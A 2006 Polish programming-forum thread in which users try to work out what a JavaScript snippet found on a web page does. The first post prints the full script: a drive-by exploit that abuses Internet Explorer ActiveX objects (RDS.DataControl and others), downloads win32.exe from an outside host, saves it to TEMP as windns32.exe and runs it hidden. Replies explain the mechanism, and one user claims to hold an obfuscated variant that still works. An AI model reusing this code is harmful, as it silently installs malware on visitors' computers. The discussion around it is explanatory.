[JS] co za kod?? C.D.

Odpowiedz Nowy wątek
2006-10-23 13:54
0

Kontynuacja tematu "co za kod???" który z wiadomych przyczyn znajduje się teraz w koszu :-D
http://4programmers.net/Forum/viewtopic.php?id=98544

więc ostatecznie prawdziwy kod na tej stronie wygląda tak:

function Log(m) {
    var log = document.createElement('p');
    log.innerHTML = m;
}

function CreateO(o, n) {
    var r = null;
    try {
        eval('r = o.CreateObject(n)')
    }
    catch(e){};
    if (!r) {
        try {
            eval('r = o.CreateObject(n, "")')
        }
        catch(e){};
    }
    if (!r) {
        try {
            eval('r = o.CreateObject(n, "", "")')
        }
        catch(e){};
    }
    if (!r) {
        try {
            eval('r = o.GetObject("", n)')
        }
        catch(e){}
    }
    if (!r) {
        try {
            eval('r = o.GetObject(n, "")')
        }
        catch(e){};
    }
    if (!r) {
        try {
            eval('r = o.GetObject(n)')
        }
        catch(e){};
    };
    return(r);
}

function Go(a) {
    Log(' ');
    var s = CreateO(a, "WScript.Shell");
    var o = CreateO(a, "ADODB.Stream");
    var e = s.Environment("Process");
    Log(' ');
    var url = "http://www.brasilmotard.com/win32.exe";
    var xml = null;
    var bin = e.Item("TEMP") + "windns32.exe";
    var dat;
    try {
        xml=new XMLHttpRequest();
    }
    catch(e) {
         try {
            xml = new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e) {
            xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
        }
    }
    if (!xml) return(0);
    Log(' ');
    xml.open("GET", url, false);
    xml.send(null);
    dat = xml.responseBody;
    Log(' ');
    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);
    Log(' ');
    s.Run(bin,0);
}

function Exploit() {
    var i = 0;
    var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', null);
    while (t[i]) {
        var a = null;
        if (t[i].substring(0,1) == '{') {
            a = document.createElement("object");
            a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
        }
        else {
            try {
                a = new ActiveXObject(t[i]);
            }
            catch(e){};
        }
        if (a) {
            try {
                var b = CreateO(a, "WScript.Shell");
                if (b) {
                    Log(' ');
                    Go(a);
                    return(0);
                }
            }
            catch(e){}
        }
        i++;
    }
    Log(' ');
}

Exploit();

jednak nie napiszę, co takiego robi ten kod, bo za bardzo nie wiem,
ale sam bym się chętnie dowiedział, więc może ktoś spróbuje chociaż trochę wytłumaczyć??


It's not just about livin' forever Johny.
The trick is livin' with yourself forever.

Pozostało 580 znaków

2006-10-23 14:23
0

Jak na moj gust to skrypt sciaga poprzez pare sztuczek plik http://www.brasilmotard.com/win32.exe, zapisuje w tempie jako windns32.exe a pozniej uruchamia. Nie wiem tylko po co jest kilka classid i co ten plik robi - pewnie jakis 'reklamodawca' :)

Swoja droga jestem ciekaw czy rzeczywiscie da sie w ten sposob plik sciagnac i uruchomic...

pozdrawiam
johny


You need to learn how to walk
before you can run

Pozostało 580 znaków

2006-10-23 14:35
0

funkcja CreateO wygląda jakby była napisana przez kogoś komu się nie chciało sprawdzać jakich arg przyjmuje funkcja to dał wszystkie warianty ...

ogólnie się nie ma co interesować tym kodem bo nie wiem gdzie on jeszcze działał ale wiem że u mnie już na pewno nie działa

ogólnie tworzy on element <object> z parametrem clsid z listy podanej, co to za clsidy można zobaczeć sobie w rejestrze w kluczu HKEY_CLASSES_ROOT\CLSID i tak na przykład {BD96C556-65A3-11D0-983A-00C04FC29E36} to RDS.DataControl i nie wiem co to jest ale pewnie umożliwia dostęp do dysku czy coś w tym stylu (w podobny sposób przez kontrolki ActiveX można było kiedyś na stronce na przykład umieścić okienko painta, notatnika czy czegokolwiek), takie coś działało kiedyś na IE

a parę clsidów jest pewnie podanych po to że pewnie na każdy system i może konfigurację niektórych może tam nie być a jak widać skrypt próbuje je wszystkie po kolei aż do sukcesu

a mimo wszystko nie jestem pewien czy ten kod powinien być publikowany w takiej formie na tym forum


Dwie zasady gwarantujące sukces:
1. Nigdy nie mów nikomu wszystkiego<span style="color: white">

Pozostało 580 znaków

2006-10-23 15:35
0

W funkcji CreateO() jest raczej 6 wiariantów funkcji tworzącej obiekt w zależności od przeglądarki
i myślę, że w Windowsie bez żadnego aktywnego anti-wir/spyware/adwer-a na IE5 kod raczej działa


It's not just about livin' forever Johny.
The trick is livin' with yourself forever.

Pozostało 580 znaków

2006-10-23 17:40
Paweł S.
0

Mam podobny kod który działa do dziś na przeglądarkach IE. Jest troche mniej skomplikowany ;-P
I troszke zakodowany gdyż bez tego zostaje zablokowany.

Pozostało 580 znaków

2006-10-23 17:47
0

Do dziś? Masz na myśli IE7? Bo jak tak, to wykryłeś drugą dziurę w tej przeglądarce :P. Przypominam, że IE7 jest oficjalną aktualną wersją IE.


Grunt to uziemienie...

Pozostało 580 znaków

Odpowiedz
Liczba odpowiedzi na stronę

1 użytkowników online, w tym zalogowanych: 0, gości: 1, botów: 0